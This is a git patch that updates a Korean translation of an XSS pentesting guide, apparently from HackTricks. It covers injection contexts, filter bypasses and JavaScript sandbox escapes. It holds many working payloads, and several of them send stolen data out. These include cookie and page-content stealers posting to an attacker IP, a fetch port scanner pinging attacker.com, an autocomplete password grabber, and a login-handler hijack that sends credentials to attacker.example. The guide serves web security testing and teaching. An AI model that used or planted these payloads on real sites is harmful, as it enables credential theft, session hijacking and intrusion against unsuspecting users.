From 6081036cfb3420107e93f5bf2e0a2c0e317719d4 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:39:11 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md', --- .../xss-cross-site-scripting/README.md | 529 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 54 +- 2 files changed, 331 insertions(+), 252 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 3887b91bd..bf6428fc9 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,34 +2,35 @@ {{#include ../../banners/hacktricks-training.md}} -## Methodology +## 방법론 -1. **당신이 제어하는 모든 값** (_parameters_, _path_, _headers_?, _cookies_?)가 HTML에 **반영되거나** **JS** 코드에 **사용되는지** 확인합니다. -2. **반영되거나 사용되는 맥락**을 찾습니다. -3. **반영된 경우** -1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다: -1. **원시 HTML**에서: -1. 새로운 HTML 태그를 만들 수 있습니까? -2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까? -3. 보호를 우회할 수 있습니까? -4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. -5. JS 코드를 실행하는 HTML 태그를 만들 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까? -2. **HTML 태그 내부**에서: -1. 원시 HTML 맥락으로 나갈 수 있습니까? -2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 만들 수 있습니까? -3. 당신이 갇힌 속성이 JS 실행을 지원합니까? -4. 보호를 우회할 수 있습니까? -3. **JavaScript 코드 내부**에서: -1. ``** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다: +In this case your input is reflected between **``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: -- **``** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. -- **JS 문자열** 안에 반영되고 마지막 트릭이 작동하지 않는 경우, 문자열에서 **나가고**, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다): +- 만약 입력이 **``** 태그 사이에 반영된다면, 입력이 어떤 형태의 따옴표 안에 있더라도 ``를 주입해 이 컨텍스트에서 탈출하려 시도할 수 있습니다. 이는 **브라우저가 HTML 태그를 먼저 파싱**하고 그 다음 콘텐츠를 파싱하기 때문에 작동하며, 따라서 브라우저는 당신이 주입한 `` 태그가 HTML 코드 내부에 있다는 것을 알아차리지 못합니다. +- 만약 입력이 **JS 문자열 내부**에 반영되고 이전 방법이 통하지 않는다면, 문자열을 **탈출(exit)**하고 코드를 **실행(execute)**한 다음 JS 코드를 **재구성(reconstruct)**해야 합니다 (에러가 나면 실행되지 않습니다: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- 템플릿 리터럴 안에 반영되는 경우, `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` -- **유니코드 인코딩**은 **유효한 자바스크립트 코드**를 작성하는 데 사용됩니다: +- 템플릿 리터럴 내부에 반영된다면 `${ ... }` 문법을 사용해 **JS 표현식 삽입**이 가능합니다: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode**는 **valid javascript code**를 작성하는 데 유용합니다: ```javascript alert(1) alert(1) @@ -85,8 +85,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있게 합니다.**\ -**자세한 정보는 다음 페이지를 확인하세요:** +Javascript Hoisting는 사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 의미하며, 이로 인해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.\ +**자세한 내용은 다음 페이지를 확인하세요:** {{#ref}} @@ -95,19 +95,19 @@ js-hoisting.md ### Javascript Function -여러 웹 페이지에는 **실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트**가 있습니다. 실제로 흔히 볼 수 있는 예는 `?callback=callbackFunc`와 같은 것입니다. +여러 웹 페이지에는 실행할 함수의 이름을 매개변수로 받는 endpoints가 있습니다. 실제로 자주 볼 수 있는 예는 `?callback=callbackFunc`와 같습니다. -사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정하는 것**입니다 (예: 'Vulnerable'로 변경) 그리고 콘솔에서 다음과 같은 오류를 찾는 것입니다: +사용자가 직접 전달한 값이 실제로 실행되는지 확인하는 좋은 방법은 **매개변수 값을 변경**(예: 'Vulnerable')한 뒤 콘솔에서 다음과 같은 에러를 확인하는 것입니다: ![](<../../images/image (711).png>) -취약한 경우, **값을 보내기만 해도 경고를 트리거할 수 있습니다**: **`?callback=alert(1)`**. 그러나 이러한 엔드포인트는 **내용을 검증하여 문자, 숫자, 점 및 밑줄만 허용하는 것이 매우 일반적입니다** (**`[\w\._]`**). +취약하다면 단순히 값으로 **`?callback=alert(1)`**을 보내 alert를 발생시킬 수 있습니다. 그러나 이러한 endpoints는 종종 내용을 검증하여 문자, 숫자, 점 및 밑줄(**`[\w\._]`**)만 허용합니다. -그러나 이러한 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 **DOM의 모든 요소에 접근할 수 있기 때문입니다**: +그러한 제한이 있더라도 일부 동작은 여전히 가능합니다. 이는 허용된 문자들로 DOM의 아무 요소나 **접근할 수 있기 때문**입니다: ![](<../../images/image (747).png>) -이를 위한 몇 가지 유용한 함수: +이를 위해 유용한 함수들: ``` firstElementChild lastElementChild @@ -115,11 +115,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -당신은 또한 **Javascript 함수를 직접 트리거**할 수 있습니다: `obj.sales.delOrders`. +You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. -그러나 일반적으로 지정된 함수를 실행하는 엔드포인트는 흥미로운 DOM이 많지 않은 엔드포인트입니다. **같은 출처의 다른 페이지**는 더 많은 작업을 수행할 수 있는 **더 흥미로운 DOM**을 가질 것입니다. +However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. + +Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: -따라서 **다른 DOM에서 이 취약점을 악용하기 위해** **Same Origin Method Execution (SOME)** 취약점이 개발되었습니다: {{#ref}} some-same-origin-method-execution.md @@ -127,7 +128,8 @@ some-same-origin-method-execution.md ### DOM -**JS 코드**가 **공격자에 의해 제어되는** 일부 **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다. +There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. + {{#ref}} dom-xss.md @@ -135,27 +137,30 @@ dom-xss.md ### **Universal XSS** -이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다. 몇 가지 **예시**: +These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ +Some **examples**: + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF 우회 인코딩 이미지 +## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## 원시 HTML 내에서 주입 +## Injecting inside raw HTML -당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\ -이 경우에도 **[Client Side Template Injection](../client-side-template-injection-csti.md)**을 염두에 두십시오.\ -_**참고: HTML 주석은 `-->` 또는 `--!>`를 사용하여 닫을 수 있습니다.**_ +입력이 **HTML 페이지 내부에 반영되거나** 이 컨텍스트에서 이스케이프를 벗어나 HTML 코드를 주입할 수 있는 경우, 가장 먼저 해야 할 일은 `<` 문자를 이용해 새 태그를 만들 수 있는지 확인하는 것입니다: 해당 문자를 반영해 보고 **HTML 인코딩**되는지, 삭제되는지, 아니면 **변경 없이 반영되는지**를 확인하세요. **마지막 경우에만 이 케이스를 실질적으로 악용할 수 있습니다**.\ +이러한 경우에는 [**Client Side Template Injection**](../client-side-template-injection-csti.md)도 **염두에 두세요.**\ +_**참고: A HTML comment can be closed using**`-->`**or**`--!>`**_ -이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: +In this case and if no black/whitelisting is used, you could use payloads like: ```html ` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다. +이 경우 당신의 입력은 `.js` 파일의 JS 코드 내부에 반영되거나 `` 태그 사이, 또는 JS 코드를 실행할 수 있는 HTML 이벤트 내부나 `javascript:` 프로토콜을 허용하는 속성들 사이에 반영됩니다. -### \` 내에 삽입된 경우, `` 와 같이 삽입된다면, `` 태그를 쉽게 **종료하도록 이스케이프**할 수 있습니다: ```javascript ``` -이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다. +Note that in this example we **단일 인용부호(single quote)를 닫지조차 않았습니다**. 이는 **HTML parsing이 먼저 browser에 의해 수행되기 때문**으로, 여기에는 script 블록을 포함한 페이지 요소를 식별하는 작업이 포함됩니다. 임베디드 스크립트를 이해하고 실행하기 위한 JavaScript 파싱은 그 이후에만 수행됩니다. ### JS 코드 내부 -`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. **JS 구문을 수정하는 것이 중요**합니다. 오류가 발생하면 JS 코드가 실행되지 않기 때문입니다: +만약 `<>`가 sanitised되고 있다면 입력이 **위치한 곳**에서 문자열을 여전히 **이스케이프**하여 **임의의 JS를 실행**할 수 있습니다. 오류가 있으면 JS 코드가 실행되지 않으므로 **JS 문법을 고쳐야 합니다**: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` +#### JS-in-JS string break → inject → repair pattern + +사용자 입력이 따옴표로 묶인 JavaScript 문자열 내부에 들어갈 때(예: server-side echo로 inline script에 삽입되는 경우), 문자열을 종료하고 코드를 주입한 뒤 구문을 복구하여 파싱이 유효한 상태로 유지할 수 있습니다. 일반적인 골격: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +취약한 매개변수가 JS 문자열로 반영될 때의 예시 URL 패턴: +``` +?param=test";;a=" +``` +이는 HTML 컨텍스트를 건드릴 필요 없이 공격자 JS를 실행합니다(순수 JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합하세요. + ### 템플릿 리터럴 \`\` -단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `**도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\ -따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다: +작은따옴표와 큰따옴표 외에 JS는 **문자열**을 구성하기 위해 **백틱** **` `` `** 을 허용합니다. 이는 템플릿 리터럴로, `${ ... }` 구문을 사용해 **JS 표현식**을 삽입할 수 있게 합니다.\ +따라서 입력값이 백틱을 사용하는 JS 문자열 내부에 **반영**된다면 `${ ... }` 구문을 악용해 **임의의 JS 코드**를 실행할 수 있습니다: -이것은 다음과 같이 **악용**될 수 있습니다: +이는 다음과 같이 **악용**될 수 있습니다: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -505,22 +525,37 @@ return loop } loop`` ``` -### 인코딩된 코드 실행 +### 인코딩된 code execution ```html ``` -**주석 안의 Javascript** +**Javascript 주석 내부에** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -679,7 +714,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**임의 함수 (alert) 호출** +**임의 함수(alert) 호출** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -741,62 +776,62 @@ top[8680439..toString(30)](1) ``` ## **DOM 취약점** -공격자가 제어하는 **안전하지 않은 데이터**를 사용하는 **JS 코드**가 있습니다. 예를 들어 `location.href`와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.\ -**DOM 취약점에 대한 설명이 확장되어** [**이 페이지로 이동했습니다**](dom-xss.md)**:** +There is **JS code** that is using **공격자가 제어하는 안전하지 않은 데이터** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\ +**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -여기에서 DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 **설명을 찾을 수 있습니다**.\ -또한, 언급된 게시물의 **끝부분에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요. +There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\ +Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -### Self-XSS 업그레이드 +### Upgrading Self-XSS -### 쿠키 XSS +### Cookie XSS -쿠키 안에 페이로드를 보내어 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다: +If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -이 기술의 훌륭한 악용 사례는 [**이 블로그 게시물**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)에서 찾을 수 있습니다. +You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). -### 세션을 관리자에게 전송하기 +### Sending your session to the admin -사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점이 발생할 수 있습니다. +Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability. -### 세션 미러링 +### Session Mirroring -self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있다면, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다. +If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session. -당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 탈취할 수 있습니다**. +You could make the **administrator trigger your self XSS** and steal his cookies/session. -## 기타 우회 방법 +## Other Bypasses -### 정규화된 유니코드 +### Normalised Unicode -서버(또는 클라이언트 측)에서 **반사된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting). +You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -### PHP FILTER_VALIDATE_EMAIL 플래그 우회 +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` -### Ruby-On-Rails 우회 +### Ruby-On-Rails bypass -**RoR 대량 할당**으로 인해 HTML에 인용부호가 삽입되고 인용 제한이 우회되며 추가 필드(onfocus)가 태그 내에 추가될 수 있습니다.\ -양식 예제 ([이 보고서에서](https://hackerone.com/reports/709336)), 페이로드를 전송하면: +**RoR mass assignment** 때문에 따옴표가 HTML에 삽입되고, 따옴표 제한이 우회되어 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.\ +폼 예시 ([from this report](https://hackerone.com/reports/709336)), 페이로드를 전송하면: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -"Key","Value" 쌍은 다음과 같이 에코됩니다: +쌍 "Key","Value"는 다음과 같이 출력됩니다: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다. +그런 다음 onfocus 속성이 삽입되고 XSS가 발생합니다. ### 특수 조합 ```html @@ -828,24 +863,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS with header injection in a 302 response +### 302 응답의 헤더 주입을 이용한 XSS -만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302일 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다. +If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. 이것은 **간단하지 않습니다**. 최신 브라우저는 HTTP 응답 상태 코드가 302일 때 HTTP 응답 본문을 해석하지 않기 때문에 단순한 cross-site scripting payload는 쓸모가 없습니다. -[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하는 방법과 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 하는지 확인할 수 있습니다.\ -과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`. +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 에서는 Location header 내부의 여러 프로토콜을 테스트하여 그 중 어떤 것이 브라우저가 본문 안의 XSS payload를 검사하고 실행하도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\ +Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### Only Letters, Numbers and Dots +### 문자, 숫자 및 점만 -만약 **callback**을 지정할 수 있다면, javascript가 **실행할** 수 있는 문자로 제한됩니다. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해. +If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) 에서 이 동작을 악용하는 방법을 확인하세요. -### Valid ` @@ -946,20 +983,20 @@ import { partition } from "lodash" ``` ### 특수 치환 패턴 -**`"some {{template}} data".replace("{{template}}", )`**와 같은 것이 사용될 때, 공격자는 [**특수 문자열 치환**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)을 사용하여 일부 보호를 우회하려고 할 수 있습니다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +다음과 같은 코드가 사용될 때 **`"some {{template}} data".replace("{{template}}", )`** 공격자는 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) 를 사용해 일부 보호를 우회하려고 시도할 수 있습니다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다. +예를 들어 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 에서는 스크립트 내부의 **JSON 문자열을 이스케이프**하여 임의의 코드를 실행하는 데 이것이 사용되었습니다. -### Chrome 캐시에서 XSS로 +### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### XS Jail 탈출 +### XS Jails Escape -사용할 수 있는 문자 집합이 제한된 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하십시오: +사용할 수 있는 문자가 제한되어 있다면, XSJail 문제에 대한 다른 유효한 해결책들을 확인하세요: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -990,22 +1027,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -모든 것이 신뢰할 수 없는 코드를 실행하기 전에 **정의되지 않은** 경우([**이 글**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)에서와 같이) 유용한 객체를 "무에서" 생성하여 임의의 신뢰할 수 없는 코드 실행을 악용할 수 있습니다: +만약 신뢰할 수 없는 코드를 실행하기 전에 **모든 항목이 undefined**라면 (예: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 "무(無)에서" 유용한 객체를 생성할 수 있습니다: -- import() 사용하기 +- import() 사용 ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- `require`에 간접적으로 접근하기 +- 간접적으로 `require`에 접근하기 -[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에서 래핑됩니다, 다음과 같이: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 다음과 같이 함수로 래핑됩니다: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -따라서, 해당 모듈에서 **다른 함수를 호출할 수** 있다면, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다: +따라서, 해당 모듈에서 **다른 함수를 호출할 수 있다면**, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1014,7 +1051,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -이전 예제와 유사하게, **error handlers**를 사용하여 모듈의 **wrapper**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다: +앞선 예제와 유사하게, **에러 핸들러를 사용**해 모듈의 **wrapper**에 접근하여 **`require`** 함수를 얻을 수 있습니다: ```javascript try { null.f() @@ -1054,7 +1091,7 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **하나의 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **한 페이지에 다양한 obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1233,23 +1270,25 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS 일반 페이로드 +## XSS 일반적인 payloads + +### 한 번에 여러 payloads -### 여러 페이로드를 1개로 {{#ref}} steal-info-js.md {{#endref}} -### Iframe 트랩 +### Iframe Trap + +사용자가 페이지를 떠나지 않고 iframe 내에서 이동하도록 유도하여, (폼으로 전송되는 정보를 포함한) 사용자의 행동을 탈취합니다: -사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함): {{#ref}} ../iframe-traps.md {{#endref}} -### 쿠키 가져오기 +### Cookies 가져오기 ```javascript /?c="+document.cookie> @@ -1272,9 +1311,9 @@ steal-info-js.md ``` > [!TIP] -> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법](../hacking-with-cookies/index.html#httponly)이 있습니다, 운이 좋다면요. +> cookies에 HTTPOnly 플래그가 설정되어 있으면 **JavaScript로는 해당 cookies에 접근할 수 없습니다.** 하지만 운이 좋다면 [이 보호 장치를 우회할 몇 가지 방법](../hacking-with-cookies/index.html#httponly)이 있습니다. -### 페이지 콘텐츠 훔치기 +### 페이지 콘텐츠 탈취 ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1344,11 +1383,11 @@ q.shift()() } ``` -### 포트 스캐너 (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### 포트 스캐너 (웹소켓) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### 자동 완성 비밀번호 캡처 +### 자동 완성 비밀번호 탈취 ```javascript Username:
@@ -1382,18 +1421,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -비밀번호 필드에 데이터가 입력되면, 클라이언트가 저장된 비밀번호를 선택하고 아무것도 입력하지 않더라도 사용자 이름과 비밀번호가 공격자의 서버로 전송되며, 자격 증명이 유출됩니다. +When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. -### 키로거 +### Hijack form handlers to exfiltrate credentials (const shadowing) -깃허브에서 몇 가지 다른 키로거를 찾았습니다: +페이지에서 중요한 handler(예: `function DoLogin(){...}`)가 더 뒤에 선언되고 payload가 더 먼저 실행된다면(예: via an inline JS-in-JS sink), 같은 이름의 `const`를 먼저 정의하여 handler를 선점하고 잠글 수 있습니다. 이후 함수 선언은 `const` 이름을 재바인딩할 수 없으므로, 당신의 hook이 제어권을 유지합니다: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Notes +- 이는 실행 순서에 의존합니다: 인젝션이 정식 선언보다 먼저 실행되어야 합니다. +- `eval(...)`로 페이로드가 래핑되면 `const/let` 바인딩은 전역이 되지 않습니다. 진정한 전역이자 재바인딩 불가능한 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”의 동적 ` ``` -### PostMessage 메시지 훔치기 +### PostMessage 메시지 탈취 ```html ``` -### 서비스 워커 악용 +### Service Workers 악용 {{#ref}} 